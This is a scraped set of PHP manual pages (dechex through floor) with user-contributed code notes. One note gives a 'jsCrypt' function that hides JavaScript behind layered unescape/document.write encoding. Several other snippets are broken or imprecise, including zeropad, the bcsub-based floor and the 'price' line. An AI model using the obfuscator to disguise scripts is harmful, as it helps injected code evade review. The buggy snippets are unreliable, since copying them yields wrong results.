if you have a very long decimal number in gmp format (you can always create a gmp number with gmp_init($numberstring), you can simply do gmp_strval($gmpnumber, 16), where $gmpnumber is your gmp number, and the 16 is the base you want to transform it to. Worked for me like a charm, also works for other bases.
Kory P. 10-Nov-2013 03:56
Or you could use this for an RGBA color.
    function toAlphaColor($n,$a)
    {
        $rgb = substr("000000".dechex($n),-6);
        $alpha = substr("00".dechex($a),-2);
        return("#".$rgb.$alpha);
    }
mailderemi at gmail dot com 13-Dec-2012 02:26
Javascript Crypt:

<?php
function jsCrypt($script,$level=1){
    for ($j=0;$j<$level;$j++){
        $asc='';
        for ($i=0;$i<strlen($script);$i++)
            $asc.='%'.dechex(ord($script[$i]));
        $script='<SCRIPT LANGUAGE="JavaScript">document.write(unescape(\''.$asc.'\'));</SCRIPT>';
    }
    return $script;
}

echo jsCrypt('<script>alert(123);</script>',1);
?>
hmlinks at gmail dot com 03-Oct-2012 01:02
I wrote this to convert hex into signed int, hope this helps someone out there... peace :)

<?php
$hex = dechex(-32767);
$dec = shexdex($hex);

function shexdex($hex){
    $dec = hexdec($hex);

    // Negative number (in binary if the msb is 1 then it is neg)
    // since one hex is 4bits, the value 8 and up contain msb of 1, hence negative number
    if ($hex[0] >= '8'){    // Note: if you use the digit 8 it is not the same as '8'
        $dec -= 1;
        $dec = ~$dec;

        return -$dec;
    }

    return $dec;
}

if ($dec == -32767){
    echo 'Yay!';
}
?>
sneskid at hotmail dot com 23-Mar-2012 07:09
If you want to create or parse signed Hex values:

<?php
// $d should be an int
function sdechex($d) { return ($d<0) ? ('-' . dechex(-$d)) : dechex($d); }

// $h should be a string
function shexdec($h) { return ($h[0] === '-') ? -('0x' . substr($h,1) + 0) : ('0x' . $h + 0); }

// test

$v = sdechex(-123); // string(3) "-7b"
$i = shexdec($v);   // int(-123)
var_dump($v, $i);
?>

Also note that ('0x' . $str + 0) is faster than hexdec()
andries at centim dot be 07-Mar-2012 02:44
If you need to convert a large number (> PHP_MAX_INT) to a hex value, simply use base_convert. For example:

base_convert('2190964402', 10, 16); // 829776b2
9381904 at gmail dot com 01-Nov-2011 10:11
for mac address
<?php
function dec2mac($mac) {
   $mac=preg_split("([.])", $mac, 6);
   $hexmac="";
   foreach ($mac as $part)
   {
   $part=dechex($part);
   strlen($part)<2 ? $hexmac.="0$part" : $hexmac.=$part;
   }
   return $hexmac;
}
echo dec2mac("0.29.96.71.60.137"); // 001d60473c89
?>
jbleau at gmail dot com 29-Oct-2008 02:23
I was confused by dechex's size limitation. Here is my solution to the problem. It supports much bigger values, as well as signs.

<?php
function dec_to_hex($dec)
{
    $sign = ""; // suppress errors
    if( $dec < 0){ $sign = "-"; $dec = abs($dec); }

    $hex = Array( 0 => 0, 1 => 1, 2 => 2, 3 => 3, 4 => 4, 5 => 5,
                  6 => 6, 7 => 7, 8 => 8, 9 => 9, 10 => 'a',
                  11 => 'b', 12 => 'c', 13 => 'd', 14 => 'e',
                  15 => 'f' );

    do
    {
        $h = $hex[($dec%16)] . $h;
        $dec /= 16;
    }
    while( $dec >= 1 );

    return $sign . $h;
}
?>
mountarreat at gmail dot com 11-May-2008 09:55
I was challenged by a problem with large number calculations and conversion to hex within php. The calculation exceeded unsigned integer and even float range. You can easily change it for your needs but it is, thanks to bcmath, capable of handling big numbers via string. This function will convert them to hex.

In this specific example though, since I use it for game internals that can only handle 32 bit numbers, it will truncate calculations at 8 digits. If the input is 1 for example it will be filled up with zeros. Output 00000001h.

Of course I don't claim it to be a good one, but it works for me and my purpose. Suggestions on faster code welcome!

<?php
// Turns numbers into 32-bit hex string; Fills up zeros
function lrgDec2Hex($number)
{
    $i = 0;
    $hex = array();

    while($i < 8) {
        if($number == 0) {
            array_push($hex, '0');
        }
        else {
            array_push($hex, strtoupper(dechex(bcmod($number, '16'))));
            $number = bcdiv($number, '16', 0);
        }
        $i++;
    }
    krsort($hex);
    return implode($hex);
}
?>
sjaak at spoilerfreaks dot com 09-Mar-2007 07:28
To force the correct usage of 32-bit unsigned integer in some functions, just add '+0'  just before processing them.

for example
<?php echo(dechex("2724838310")); ?>
will print '7FFFFFFF'
but it should print 'A269BBA6'

When adding '+0' php will handle the 32bit unsigned integer
correctly
<?php echo(dechex("2724838310"+0)); ?>
will print 'A269BBA6'
brent 15-Dec-2006 11:33
Be very careful calling dechex on a number if it's stored in a string.

For instance:

The max number it can handle is 4294967295 which in hex is FFFFFFFF, as it says in the documentation.

dechex(4294967295) => FFFFFFFF //CORRECT

BUT, if you call it on a string of a number, it casts to int, and automatically gives you the largest int it can handle.

dechex('4294967295') => 7FFFFFFF //WRONG!

so you'll need to cast to a float:

dechex((float) '4294967295') => FFFFFFFF //CORRECT

This took me FOREVER to figure out, so hopefully I just saved someone some time.
Mista-NiceGuy at web dot de 28-Dec-2005 05:00
These are functions to convert roman numbers (e.g. MXC) into dec and vice versa.
Note: romdec() does not check whether a string is really roman or not. To force a user-input into a real roman number use decrom(romdec($input)). This will turn XXXX into XL for example.

<?php
    function decrom($dec){
        $digits=array(
            1 => "I",
            4 => "IV",
            5 => "V",
            9 => "IX",
            10 => "X",
            40 => "XL",
            50 => "L",
            90 => "XC",
            100 => "C",
            400 => "CD",
            500 => "D",
            900 => "CM",
            1000 => "M"
        );
        krsort($digits);
        $retval="";
        foreach($digits as $key => $value){
            while($dec>=$key){
                $dec-=$key;
                $retval.=$value;
            }
        }
        return $retval;
    }

    function romdec($rom){
        $digits=array(
            "I" => 1,
            "V" => 5,
            "X" => 10,
            "L" => 50,
            "C" => 100,
            "D" => 500,
            "M" => 1000
        );
        $retval="";
        $chars=array();
        for($i=1;$i<=strlen($rom);$i++){
            $chars[]=substr($rom,$i-1,1);
        }
        $step=1;
        for($i=count($chars)-1;$i>=0;$i--){
            if(!isset($digits[$chars[$i]])){ return "Error!"; }
            if($step<=$digits[$chars[$i]]){
                $step=$digits[$chars[$i]];
                $retval+=$digits[$chars[$i]];
            }
            else{
                $retval-=$digits[$chars[$i]];
            }
        }
        return $retval;
    }

    echo decrom(romdec("XXXX"));
?>
cory at lavacube dot com 27-Oct-2005 04:45
A handy little function to convert HEX colour codes to "web safe" colours...

<?php

function color_mkwebsafe ( $in )
{
    // put values into an easy-to-use array
    $vals['r'] = hexdec( substr($in, 0, 2) );
    $vals['g'] = hexdec( substr($in, 2, 2) );
    $vals['b'] = hexdec( substr($in, 4, 2) );

    // loop through
    foreach( $vals as $val )
    {
        // convert value
        $val = ( round($val/51) * 51 );
        // convert to HEX
        $out .= str_pad(dechex($val), 2, '0', STR_PAD_LEFT);
    }

    return $out;
}

?>

Example: color_mkwebsafe('0e5c94');
Produces: 006699

Hope this helps someone out... Happy coding. :-)
oliver at realtsp dot com 14-Jun-2005 01:46
Warning for use on 64 bit machines! The Extra length matters!

32bit machine:
php -r 'echo dechex(4294967295);'
output: ffffffff

64bit machine:
php -r 'echo dechex(4294967295);'
output: ffffffff

so far it is ok. But for slightly bigger numbers:

32bit machine:
php -r 'echo dechex(4294967296);'
output: 0

64bit machine:
php -r 'echo dechex(4294967296);'
output: 100000000

note the difference!

This is particularly important when converting negative numbers:

64bit machine:
php -r 'echo dechex(-1);'
output: ffffffffffffffff

32bit machine:
php -r 'echo dechex(-1);'
output: ffffffff

If you want your code to be portable to amd64 or xeons (which are now quite popular with hosting companies) then you must ensure that your code copes with the different length of the result for negative numbers (and the max value, although that is probably less critical).
jrisken at mn dot rr dot com 28-May-2005 07:33
A less elegant but (perhaps) faster way to pad is with substr with a negative length argument. I use it in this tiny function which formats computed rgb color codes for style sheets:
<?
function toColor($n)
{
return("#".substr("000000".dechex($n),-6));
}
?>
admin AT bobfrank DOT org 01-May-2005 07:28
Here is a very small zeropadding that you can use for numbers:

function zeropad($num, $lim)
{
   return (strlen($num) >= $lim) ? $num : zeropad("0" . $num);
}

zeropad("234",6);

will produce:
000234

zeropad("234",1);

will produce:
234
morten at nilsen dot com 02-Jan-2005 04:30
I see a lot of less-than-optimal functions posted on this page, so I feel I have to give some better examples...
due to the sheer size of this collection, I have made it available on my server, rather than copy/paste it into these comments.

http://ryo-ohki.4th-age.com/demos/able.php
and
http://ryo-ohki.4th-age.com/demos/able.phps

dechex replacement function from above source:
<?php
  define('BIT_BYTE', 8); // bits per byte
  define('HEX_BYTE', BIT_BYTE/4); // hex digits in a byte

  define('BIT_INT',  32); // sizeof(int)
  define('HEX_INT',  BIT_INT / (BIT_BYTE/HEX_BYTE)); // hex digits in an int

  function i2h($int, $group=HEX_BYTE, $size=HEX_INT, $sep=' ') {
    $ret = '';
    while($size--) {
      $n=($int>>($size*4)) & 0xf;
      $ret .= $n>9?chr(55 + $n):$n;
      if($size && $size%$group == 0) $ret .= $sep;
    }
    return $ret;
  }

  echo i2h(rand(1,2)==1?-mt_rand():mt_rand());
?>
wangster at darkcore dot net 14-Dec-2004 11:36
This function will take a string and convert it into a hexdump.

e.g.

3c666f6e 74207369 7a653d22 33223e4c  <font.size."3">L
6561726e 20686f77 20746f20 62652061  earn.how.to.be.a

function hexdump($string) {
   $hex="";
   $substr = "";
   for ($i=0; $i < strlen($string) ;$i++) {
     if(!($i % 4) && $i != 0) {
       $hex .= " ";
     }
     if(!($i % 16) && $i != 0) {
       $clean = preg_replace("/[^a-zA-Z0-9!-.<>\/]/",".",$substr);
       $hex .= " ".htmlentities($clean)."\n";
       $substr = "";
     }
     $substr .=  $string[$i];
     $hex .= dechex(ord($string[$i]));
   }
   return $hex;
}
12-Dec-2004 07:31
If you need to generate random HEX-color, use this:
<?php
function random_hex_color(){
    return sprintf("%02X%02X%02X", mt_rand(0, 255), mt_rand(0, 255), mt_rand(0, 255));
}
$hex = random_hex_color(); // 09B826
?>

Enjoy.
11-Dec-2004 01:30
If you need to convert RGB-color into HEX-color, use this:
<?php
function rgb2hex($rgb){
    return sprintf("%06X", $rgb);
}
$hex = rgb2hex(65280); // 00FF00
?>
admin[TAKETHISOUT] at torsoft dot no-ip dot com 21-Apr-2004 12:01
<?php
/*
here are two functions, some might find them useful (maybe for encoding)
converting string to hex and hex to string:
*/

function strhex($string)
{
    $hex="";
    for ($i=0;$i<strlen($string);$i++)
        $hex.=(strlen(dechex(ord($string[$i])))<2)? "0".dechex(ord($string[$i])): dechex(ord($string[$i]));
    return $hex;
}
function hexstr($hex)
{
    $string="";
    for ($i=0;$i<strlen($hex)-1;$i+=2)
        $string.=chr(hexdec($hex[$i].$hex[$i+1]));
    return $string;
}
?>
daevid at daevid dot com 18-Mar-2004 02:59
Here's my version of a red->yellow->green gradient:

<?php
function colorMeter($percent, $invert = false)
{
    //$percent is in the range 0.0 <= percent <= 1.0
    //    integers are assumed to be 0% - 100%
             // and are converted to a float 0.0 - 1.0
    //     0.0 = red, 0.5 = yellow, 1.0 = green
    //$invert will make the color scale reversed
    //     0.0 = green, 0.5 = yellow, 1.0 = red

    //convert (int)% values to (float)
    if (is_int($percent)) $percent = $percent * 0.01;

    $R = min((2.0 * (1.0-$percent)), 1.0) * 255.0;
    $G = min((2.0 * $percent), 1.0) * 255.0;
    $B = 0.0;

    return (($invert) ?
sprintf("%02X%02X%02X",$G,$R,$B)
: sprintf("%02X%02X%02X",$R,$G,$B));
} //colorMeter
?>

and use it like this:

<TABLE BORDER=1 WIDTH="300">
<?php
for ($i = 0.0; $i <= 1.0; $i += 0.10)
{
    $RGB = colorMeter($i);
    print "<TR><TD BGCOLOR='".$RGB."'>".$i."</TD><TD>
<PRE>".$RGB."</PRE></TD></TR>\n";
}
?>
</TABLE>

<P>

<TABLE BORDER=1 WIDTH="300">
<?php
for ($i = 0; $i <= 100; $i += 10)
{
    $RGB = colorMeter(intval($i), true);
    print "<TR><TD BGCOLOR='".$RGB."'>".$i."</TD><TD>
<PRE>".$RGB."</PRE></TD></TR>\n";
}
?>
</TABLE>
thr at recide dot net 09-Feb-2004 04:39
/*
* RGB-Colorcodes(i.e: 255 0 255) to HEX-Colorcodes (i.e: FF00FF)
*/
function rgb2hex($rgb){
    if(!is_array($rgb) || count($rgb) != 3){
        echo "Argument must be an array with 3 integer elements";
        return false;
    }
    for($i=0;$i<count($rgb);$i++){
        if(strlen($hex[$i] = dechex($rgb[$i])) == 1){
            $hex[$i] = "0".$hex[$i];
        }
    }
    return $hex;
}
/* Example */
print_r(rgb2hex(array(10,255,255)));
mina86 at tlen dot pl 05-Feb-2004 09:05
Easiest :P way to create random hex color:

<?php
function rand_color() {
    return substr('00000' . dechex(mt_rand(0, 0xffffff)), -6);
}
?>
huda m elmatsani <justhuda at netscape dot net> 16-Sep-2003 03:36
Create Random Hex Color:

function make_seed() {
   list($usec, $sec) = explode(' ', microtime());
   return (float) $sec + ((double) $usec * 100000);
}

function rand_hex() {
   mt_srand(make_seed());
   $randval = mt_rand(0,255);
   //convert to hex
   return sprintf("%02X",$randval);
}

function random_color(){
   return "#".rand_hex().rand_hex().rand_hex();
}

hme ;)
allan-wegan at allan-wegan dot de 19-Jul-2003 10:53
now, here is a nice and small function to convert integers to hex strings and it avoids use of the DECHEX funtion because that function changed it's behavior too often in the past (now, in PHP version 4.3.2 it works with numbers bigger than 0x7FFFFFFF correctly, but i need to be backward compatible).

function &formatIntegerForOutput($value) {
    $text = "00000000";
    $transString = "0123456789ABCDEF";
    // handle highest nibble (nibble 7):
        $nibble = $value & 0x70000000;
        $nibble >>= 28;
        if ($value < 0) {
            $nibble = $nibble | 0x00000008;
        }
        $text[0] = $transString[$nibble];
        $value &= 0x0FFFFFFF;
    // nibbles 0 to 6:
        for ($a = 7; $a > 0; $a --) {
            $nibble = $value & 0x0000000F;
            $text[$a] = $transString[$nibble];
            $value >>= 4;
        }
    return $text
}

this function should be not too slow and is really simple.
I don't know, if the DECHEX function in the future will pad it's output to ever be 8 characters in length - so for backward compatibility reasons even in future PHP versions i avoided to use it.
monkyNOSPAM at phpfi dot org dot invalid 23-Sep-2002 07:20
Here's how to use bitwise operations for RGB2hex conversion. This function returns hexadesimal rgb value just like one submitted by gurke@bigfoot.com above.

function hexColor($color) {
  return dechex(($color[0]<<16)|($color[1]<<8)|$color[2]);
}

example:

$col[0] = 25;
$col[1] = 255;
$col[2] = 55;

print hexColor($col);
joost at bingopaleis dot com 28-Apr-2002 09:21
Here are two functions that will convert large dec numbers to hex and vice versa. And I really mean LARGE, much larger than any function posted earlier.

<pre>
// Input: A decimal number as a String.
// Output: The equivalent hexadecimal number as a String.
function dec2hex($number)
{
    $hexvalues = array('0','1','2','3','4','5','6','7',
               '8','9','A','B','C','D','E','F');
    $hexval = '';
     while($number != '0')
     {
        $hexval = $hexvalues[bcmod($number,'16')].$hexval;
        $number = bcdiv($number,'16',0);
    }
    return $hexval;
}

// Input: A hexadecimal number as a String.
// Output: The equivalent decimal number as a String.
function hex2dec($number)
{
    $decvalues = array('0' => '0', '1' => '1', '2' => '2',
               '3' => '3', '4' => '4', '5' => '5',
               '6' => '6', '7' => '7', '8' => '8',
               '9' => '9', 'A' => '10', 'B' => '11',
               'C' => '12', 'D' => '13', 'E' => '14',
               'F' => '15');
    $decval = '0';
    $number = strrev($number);
    for($i = 0; $i < strlen($number); $i++)
    {
        $decval = bcadd(bcmul(bcpow('16',$i,0),$decvalues[$number{$i}]), $decval);
    }
    return $decval;
}
</pre>
jfren484 at hotmail dot com 12-Feb-2002 03:47
Here's a function which works for decimal values up to 9007199254740992 (hex 20000000000000).

function dec2hex($dec)
{
  $hex = ($dec == 0 ? '0' : '');

  while ($dec > 0)
  {
    $hex = dechex($dec - floor($dec / 16) * 16) . $hex;
    $dec = floor($dec / 16);
  }

  return $hex;
}
kristoffer at caveo dot se 11-Feb-2002 05:39
Heres a example of dec to html hex gradient. Have fun :)

//Amount of gradients
$l = 20;

//Start color
$start[0] = "255";     //red
$start[1] = "0";     //green
$start[2] = "255";     //blue

//End color
$end[0] = "255";     //red
$end[1] = "255";    //green
$end[2] = "255";    //blue

for ($t = 1; $t < $l;) {

    $x = $x * $t;

    for ($i = 0; $i < 3;) {

        $buffer[$i] = $start[$i] - $end[$i];
        $buffer[$i] = floor($buffer[$i] / $l);
        $rgb[$i] = $start[$i] - ($buffer[$i] * $t);

        if ($rgb[$i] > 255) {

            $rgb[$i] = 255;

        }

        $rgb[$i] = dechex($rgb[$i]);
        $rgb[$i] = strtoupper($rgb[$i]);

        if (strlen($rgb[$i]) < 2) {

            $rgb[$i] = "0$rgb[$i]";

        }

        $i++;

    }

    $color = "$rgb[0]$rgb[1]$rgb[2]";
    echo "$color";
        $t++;

}

?>


十进制转换为八进制

  • ? dechex
  • deg2rad ?
  • PHP Manual
  • Math 函数
  • 十进制转换为八进制

decoct

(PHP 4, PHP 5, PHP 7, PHP 8)

decoct — 十进制转换为八进制

说明

decoct(int $num): string

返回一字符串，包含有给定 num 参数的八进制表示。可以转换的最大数字取决于平台。对于 32 位平台通常是十进制的 4294967295，结果是 37777777777。对于 64 位平台通常是十进制的 9223372036854775807，结果是 777777777777777777777。

参数

num

待转换的十进制值

返回值

num 参数八进制表示的字符串。

示例

Example #1 decoct() 示例

<?php
echo decoct(15) . "\n";
echo decoct(264);
?>

以上示例会输出：

17
410

参见

  • octdec() - 八进制转换为十进制
  • decbin() - 十进制转换为二进制
  • dechex() - 十进制转换为十六进制
  • base_convert() - 在任意进制之间转换数字

User Contributed Notes

ethernidee at yandex dot ru 22-Nov-2015 06:48
Negative numbers are not supported.


将角度转换为弧度

  • ? decoct
  • exp ?
  • PHP Manual
  • Math 函数
  • 将角度转换为弧度

deg2rad

(PHP 4, PHP 5, PHP 7, PHP 8)

deg2rad — 将角度转换为弧度

说明

deg2rad(float $num): float

本函数把 num 从角度转换成弧度。

参数

num

以角度为单位的值

返回值

num 等量的弧度值

示例

Example #1 deg2rad() 示例

<?php

echo deg2rad(45); // 0.785398163397
var_dump(deg2rad(45) === M_PI_4); // bool(true)

?>

参见

  • rad2deg() - 将弧度数转换为相应的角度数

User Contributed Notes

christian dot ubu at NOSPAMHERE dot gmail dot com 13-Mar-2009 07:18
Never use deg2rad() in loops, use $rad = ($deg * M_PI / 180) instead which is faster!


计算 e 的指数

  • ? deg2rad
  • expm1 ?
  • PHP Manual
  • Math 函数
  • 计算 e 的指数

exp

(PHP 4, PHP 5, PHP 7, PHP 8)

exp — 计算 e 的指数

说明

exp(float $num): float

返回 e 的 num 次方值。

Note:

用"e"作为自然对数的底数，大约为 2.718282。

参数

num

要处理的参数

返回值

'e' raised to the power of num

示例

Example #1 exp() 示例

<?php
echo exp(12) . "\n";
echo exp(5.7);
?>

以上示例会输出：

1.6275E+005
298.87

参见

  • log() - 自然对数
  • pow() - 指数表达式

User Contributed Notes

Mohammed AbdelRahman 31-Aug-2014 04:18
Which is the inverse of log(float $arg, e)
zooly at globmi dot com 14-Dec-2010 07:12
PHP does not have the following math function in any extensions:

frexp() - Extract Mantissa and Exponent of the Floating-Point Value

I've digged many C source codes, and found the simplest implementation as follows:

<?php

function frexp ( $float ) {

  $exponent = ( floor(log($float, 2)) + 1 );
  $mantissa = ( $float * pow(2, -$exponent) );

  return(
    array($mantissa, $exponent)
  );

}

print_r(frexp(0.0345));
print_r(frexp(21.539));

?>

Array
(
    [0] => 0.552
    [1] => -4
)
Array
(
    [0] => 0.67309375
    [1] => 5
)

I have compared the results using a lot of floats against C's frexp function - they are the same.

Note that C and PHP uses different float precisions, for example "4619.3" gives:

C: 0.56387939453125, 13
PHP: 0.563879394531, 13

/Assuming default configurations./
Nitrogen 23-Sep-2009 05:54
Just a note about using the submitted codes below..
Their functions have an optional $precision parameter; however, it's not being used properly..

BCMath functions by default do not use decimal precision unless specified by BCScale($precision); or using the extra parameter in the used BC functions.

For example, a blank PHP file with their code.. executing BCExp('5.7'); returns "47" instead of the correct answer of "298.86740096706..."

So for optimum accuracy, I'd suggest setting BCScale to a healthy length before running their codes.
konrad 24-Jan-2007 03:13
working version (checked) of below code is

<?php
  // see bccomp for this code (signed and unsigned zero!)
  function bccomp_zero($amount) {
    return bccomp($amount, (@$amount{0}=="-"?'-':'').'0.0');
  }

  // arbitrary precision function (x^n)/(n)!
  function bcpowfact($x, $n) {
    if (bccomp_zero($n) == 0) return '1';
    if (bccomp($n, '1') == 0) return $x;
    $a = $x; // 1st step: a *= x / 1
    $i = $n;
    while (bccomp($i, '1') == 1) {
      // ith step: a *= x / i
      $a = bcmul($a, bcdiv($x, $i));
      $i = bcsub($i, '1'); // bc idiom for $i--
    }
    return $a;
  }

  // arbitrary precision exp() function
  function bcexp($x, $digits) {
    $sum = $prev_sum = '0.0';
    $error = '0.'.str_repeat('0', $digits-1).'1'; // 0.1*10^-k
    $n = '0.0';
    do {
      $prev_sum = $sum;
      $sum = bcadd($sum, bcpowfact($x, $n));
      $n = bcadd($n, '1'); // bc idiom for $n++
    } while (bccomp(bcsub($sum, $prev_sum), $error) == 1);
    return $sum;
  }
?>
boards at gmail dot com 26-Apr-2006 10:18
Note regarding the mathematical function exp(x):

To continue accuracy of the exponential function to an infinite amount of decimal places, one would use the power series definition for exp(x).
(in LaTeX form:)
e^x = \sum_{n=0}^{\infty} \frac{x^n}{n!}

So, to do that in PHP (using BC math):

<?php
// arbitrary precision function (x^n)/(n)!
function bcpowfact($x, $n) {
  if (bccomp($n, '0') == 0) return '1.0';
  if (bccomp($n, '1') == 1) return $x;
  $a = $x; // nth step: a *= x / 1
  $i = $n;
  while (bccomp($i, '1') == 1) {
    // ith step: a *= x / i
    $a = bcmul($a, bcdiv($x, $i));
    $i = bcsub($i, '1'); // bc idiom for $i--
  }
  return $a;
}

// arbitrary precision exp() function
function bcexp($x, $decimal_places) {
  $sum = $prev_sum = '0.0';
  $error = bcdiv(bcpow('10', '-'.$decimal_places), 10); // 0.1*10^-k
  $n = '0';
  do {
    $prev_sum = $sum;
    $sum = bcadd($sum, bcpowfact($x, $n));
  }
  while (bccomp(bcsub($sum, $prev_sum), $error) == 1);
  return $sum;
}
?>


返回 exp($num) - 1，甚至当 number 的值接近零也能计算出准确结果

  • ? exp
  • fdiv ?
  • PHP Manual
  • Math 函数
  • 返回 exp($num) - 1，甚至当 number 的值接近零也能计算出准确结果

expm1

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

expm1 — 返回 exp($num) - 1，甚至当 number 的值接近零也能计算出准确结果

说明

expm1(float $num): float

expm1() 返回"exp(num) - 1"，甚至当 num 的值接近零也能计算出准确结果。但是当两个数值趋近于相等的时候，"exp (num) - 1"就会变得不太准确。

参数

num

要处理的参数

返回值

"e"的 num 次方减 1

参见

  • log1p() - 返回 log(1 + number)，甚至当 number 的值接近零也能计算出准确结果
  • exp() - 计算 e 的指数

User Contributed Notes

brettz9 AAT yah 02-Apr-2009 08:07
Note that exp(x)-1 can be approximated by x + x^2/2! + ... + x^n/n!  and for any value
hagen at von-eitzen dot de 24-Feb-2003 03:57
Compare this to log1p (which is its inverse).

Also, You may have to use a similar workaraound in case the underlying C library
does not support expm1:

<?php
function expm1($x) {
     return ($x>-1.0e-6 && $x<1.0e-6) ? ($x + $x*$x/2) : (exp($x)-1);
}
?>


Divides two numbers, according to IEEE 754

  • ? expm1
  • floor ?
  • PHP Manual
  • Math 函数
  • Divides two numbers, according to IEEE 754

fdiv

(PHP 8)

fdiv — Divides two numbers, according to IEEE 754

说明

fdiv(float $num1, float $num2): float

Returns the floating point result of dividing the num1 by the num2. If the num2 is zero, then one of INF, -INF, or NAN will be returned.

Note that in comparisons, NAN will never == or ===, any value, including itself.

参数

num1

The dividend (numerator)

num2

The divisor

返回值

The floating point result of num1/num2

示例

Example #1 Using fdiv()

<?php
var_dump(fdiv(5.7, 1.3)); // float(4.384615384615385)
var_dump(fdiv(4, 2)); // float(2)
var_dump(fdiv(1.0, 0.0)); // float(INF)
var_dump(fdiv(-1.0, 0.0)); // float(-INF)
var_dump(fdiv(0.0, 0.0)); // float(NAN)
?>

参见

  • / - Floating-point division
  • intdiv() - Integer division
  • fmod() - Modulus

User Contributed Notes

There are no user contributed notes for this page.


舍去法取整

  • ? fdiv
  • fmod ?
  • PHP Manual
  • Math 函数
  • 舍去法取整

floor

(PHP 4, PHP 5, PHP 7, PHP 8)

floor — 舍去法取整

说明

floor(int|float $num): float

如有必要，通过对 num 向下取整（作为浮点数）。

参数

num

要取整的数字

返回值

对 num 向下取整。floor() 返回的类型仍然是 float。

更新日志

版本 | 说明
8.0.0 | num 不再接受支持数字转换的内部对象。

示例

Example #1 floor() 示例

<?php
echo floor(4.3); // 4
echo floor(9.999); // 9
echo floor(-3.14); // -4
?>

参见

  • ceil() - 进一法取整
  • round() - 对浮点数进行四舍五入

User Contributed Notes

Antonio 24-Oct-2019 12:14
<?php
echo (2.3 * 100) . ' - ' . round(2.3 * 100, 0) .  ' - ' . floor(2.3 * 100);
?>.

Result:
230 - 230 - 229

Be careful!
itbudaoweng at gmail dot com 23-Jul-2018 05:09
If you want to ceil decimal, DO NOT USE

function floordec($zahl,$decimals=2){
     return floor($zahl*pow(10,$decimals))/pow(10,$decimals);
}

if you call it floordec(0.58, 2) it return 0.57.

[USE below instead,both work fun]

/**
 *
 * @param $money_yuan
 * @param int $scale
 * @return string
 */
static function floor($money_yuan, $scale=2) {
     return bcsub($money_yuan, "-", 0, $scale);
}

/**
 * @param $money_yuan
 * @param int $scale
 * @return string
 */
static function floor2($money_yuan, $scale = 2) {
    return substr(sprintf("%.".(++$scale)."f", $money_yuan), 0, -1);
}
Leon Grdic 27-Dec-2015 09:59
Warning: do not use Seppili's function to floor with decimals. It will lead you to a lot of trouble because of float number precision.

For example floordec(0.29, 2) will result in 0.28.

Here's a little fix that will help you get around some problems:

<?php
function floordec($value,$decimals=2){
    return floor($value*pow(10,$decimals)+0.5)/pow(10,$decimals);
}
?>
josoort at home dot nl 12-May-2014 07:08
You can simply make a floor with decimals function by using the round() function and subtract 0.05 to the value if the value must have 1 decimal accuracy, or 0.005 for 2 decimals accuracy, or 0.0005 for 3 decimals etc.

Example :

function floorDec($input, $decimals)
{
    return round($input - (5 / pow(10, $decimals + 1)), $decimals);
}
till at tonda dot de 24-Jan-2014 12:55
Note that the use of floor may (intended or not) uncover false integers:

<?php

$arrRoots=array();
$arrRoots[]=pow(27,(1/3));        // pow(3,3)=27
$arrRoots[]=pow(64,(1/3));        // pow(4,3)=64

for($i=0;$i<count($arrRoots);$i++)
{
if($arrRoots[$i]!=floor($arrRoots[$i]))
  echo '<div style="background-color:#ffff99">';
echo 'Unfloored value: '.$arrRoots[$i].' (Format float? '.is_float($arrRoots[$i]).')<br />';
echo 'Floored value: '.floor($arrRoots[$i]).' (Format float? '.is_float(floor($arrRoots[$i])).')';
if($arrRoots[$i]!=floor($arrRoots[$i]))
  echo '</div>';
echo '<br /><br />';
}

?>

The directly retrieved cubic root of 64 (by pow with a fraction exp) equals 4; an outcome any maths teacher will reckon correct.

Yet bringing the same number - the cubic root of 64 retrieved in the very same manner - to the floor will result in a value of 3 only. This behaviour is in no way exceptional.

It is pivotal to check whether you are dealing with genuine integers or floats in disguise. floor should be used carefully.
maikl 23-Jan-2014 08:45
A correction to the funcion floor_dec from the user "php is the best".
If the number is 0.05999 it returns 0.59 because the zero at left position is deleted.
I just added a '1' and after the floor or ceil call remove with a substr.
Hope it helps.

function floor_dec($number,$precision = 2,$separator = '.') {
  $numberpart=explode($separator,$number);
  $numberpart[1]=substr_replace($numberpart[1],$separator,$precision,0);
  if($numberpart[0]>=0) {
    $numberpart[1]=substr(floor('1'.$numberpart[1]),1);
  } else {
    $numberpart[1]=substr(ceil('1'.$numberpart[1]),1);
  }
  $ceil_number= array($numberpart[0],$numberpart[1]);
  return implode($separator,$ceil_number);
}
php is the best 20-Apr-2012 06:36
Floor decimal numebrs with precision:

function floor_dec($number,$precision,$separator)
{
    $numberpart=explode($separator,$number);
    $numberpart[1]=substr_replace($numberpart[1],$separator,$precision,0);
    if($numberpart[0]>=0)
    {$numberpart[1]=floor($numberpart[1]);}
    else
    {$numberpart[1]=ceil($numberpart[1]);}

     $ceil_number= array($numberpart[0],$numberpart[1]);
    return implode($separator,$ceil_number);
}

echo floor_dec(1.125,2,"."); //1.12
echo floor_dec(-1.3436,3,"."); //-1.344
echo floor_dec(102938.1,4,"."); //102938.1
seppili_ at gmx dot de 05-Mar-2010 08:52
I use this function to floor with decimals:
<?php

function floordec($zahl,$decimals=2){
     return floor($zahl*pow(10,$decimals))/pow(10,$decimals);
}
?>
lewis at lewishenshall dot co dot uk 25-Feb-2009 11:12
If you're wanting to round down to the nearest hundred:

<?php
function rounddowntohundred($theNumber) {
    if (strlen($theNumber)<3) {
    $theNumber=$theNumber;
    } else {
    $theNumber=substr($theNumber, 0, strlen($theNumber)-2) . "00";

    }
    return $theNumber;

}
?>
fragov at gmail dot com 14-Jan-2009 09:39
Have solved a "price problem":

<?php
$peny = floor($row->price*1000) - floor($row->price)*1000)/10;
?>
benrr101 at gmail dot com 11-Jun-2008 09:39
But, if you want the number closest to zero, you could use this:
<?php
  if($foo > 0) {
    floor($foo);
  } else {
    ceil($foo);
  }
?>

-benrr101
greene dot mc at removethispart dot gmail dot com 27-May-2008 01:08
I believe this behavior of the floor function was intended.  Note that it says "the next lowest integer".  -1 is "higher" than -1.6.  As in, -1 is logically greater than -1.6.  To go lower the floor function would go to -2 which is logically less than -1.6.

Floor isn't trying to give you the number closest to zero, it's giving you the lowest bounding integer of a float.

In reply to Glen who commented:
 Glen
01-Dec-2007 04:22
<?php
  echo floor(1.6);  // will output "1"
  echo floor(-1.6); // will output "-2"
?>

instead use intval (seems to work v5.1.6):

<?php
  echo intval(1.6);  // will output "1"
  echo intval(-1.6); // will output "-1"
?>
jay at w3prodigy dot com 25-Mar-2008 12:01
Note:

<?php
$int = 0.99999999999999999;
echo floor($int); // returns 1
?>

and

<?php
